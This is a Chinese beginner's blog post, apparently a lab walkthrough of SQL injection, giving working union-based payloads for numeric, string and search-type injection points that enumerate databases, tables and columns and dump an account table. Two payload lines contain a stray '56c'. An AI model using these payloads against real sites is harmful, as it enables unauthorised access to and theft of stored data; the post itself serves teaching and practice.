SQL注入靶场实战-小白入门
2021-04-01 00:09
1076 查看
目录字符型 2.接下来利用order by判断字段长,带入SQL查询语句可直接查询出数据(查询语句和数字型一样) 搜索型
- SQL注入数字型1.测试有无测试点
- 2.order by 语句判断字段长,查出字段为3
- 3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3)
- 4.猜数据库名,用户
- 5.联合查询(group_concat())点代表下一级,猜解当前数据库pentest中所有的表名。
- 6.猜列名( account 表和 news 表)
- 7.查询表中的数据
SQL注入
数字型
1.测试有无测试点
and 1=1,and 1=2
2.order by 语句判断字段长,查出字段为3
-
order by 语句用于根据指定的列对结果集进行排序
-
order by后可以加列名,也可以加数字(代表第几列)
id = 1 order by 3(数字) //返回正常 id = 1 order by 4(数字) //返回异常 //说明字段长为3
3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3)
id= -1 union select 1,2,3
4.猜数据库名,用户
id =-1 union select 1,database(),user()
5.联合查询(group_concat())点代表下一级,猜解当前数据库pentest中所有的表名。
id= -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
6.猜列名( account 表和 news 表)
id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'
id= -1 union 56c select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'
7.查询表中的数据
id= -1 union select 1,group_concat(id,'--',title,'--',content),3 from news limit 0,1
id= -1 union select 1,group_concat(Id,'--',rest,'--',own),3 from account limit 0,1
字符型
1.判断是否存在注入
1' or '1'='1 //返回正常 1' or '1'='2 //返回异常
2.接下来利用order by判断字段长,带入SQL查询语句可直接查询出数据(查询语句和数字型一样)
1' order by 3# //返回正常 1' order by 4# //返回异常
//注意#号用途:#起注释作用,会注释掉 56c 后面的' 单行注释还可用-- (--后面需加一个空格)
//注意后面的SQL查询语句末尾都得加一个#
搜索型
1.搜索型需要多闭合一个%,其他都与前面类似
-
首先判断注入点
1%' or 1=1# 1%' or 1=2#
下面就和前面数字型步骤一样,带入查询语句即可
1%' union select 1,database(),user()# //比如这里查询数据库名和用户
相关文章推荐
- 小白变大神——Docker入门到精通完整实战
- QT哆啦A梦完整项目 简单界面美化 小白入门实战 开机动画 界面交互 连接数据库绘制曲线等。
- NLP小白入门python实战-spacy中文包简单测试
- Servlet实战详解视频教程(小白基础入门到精通)-王勇-专题视频课程
- 小白学 Python 爬虫(40):爬虫框架 Scrapy 入门基础(七)对接 Selenium 实战
- 视频教程-Flutter核心API精讲小白入门到实战(flutter/iOS/安卓/跨平台)-flutter
- 一些入门的的SQL注入小白基础笔记
- 学习笔记(41):MySQL数据库从入门到搞定实战-黑客常说的SQL注入是什么
- Vue.js零基础小白2天入门到实战
- mybatis实战教程(mybatis in action),mybatis入门到精通
- 解构国内首个函数计算(从概念、入门再到实战)
- SQL SERVER 2016----小白入门
- Python爬虫小白入门(三)BeautifulSoup库
- 攻略丨小白投资数字货币实操入门指南
- 视频教程-Flutter零基础轻松入门:从入门到实战一次学会-其他
- 彻底征服React.js + Flux Redux 实战商品教程 React.js重入门到精通视频教程
- 大数据Spark “蘑菇云”行动前传第2课:Scala零基础实战入门的第一堂课及如何成为Scala高手
- maven3实战之maven使用入门(使用archetype生成项目骨架)
- SpringCloud Finchley 实战入门(基于springBoot 2.0.3)【一 专题介绍】
- 《PyTorch机器学习从入门到实战》 例程(PyTorch1.2版本可用)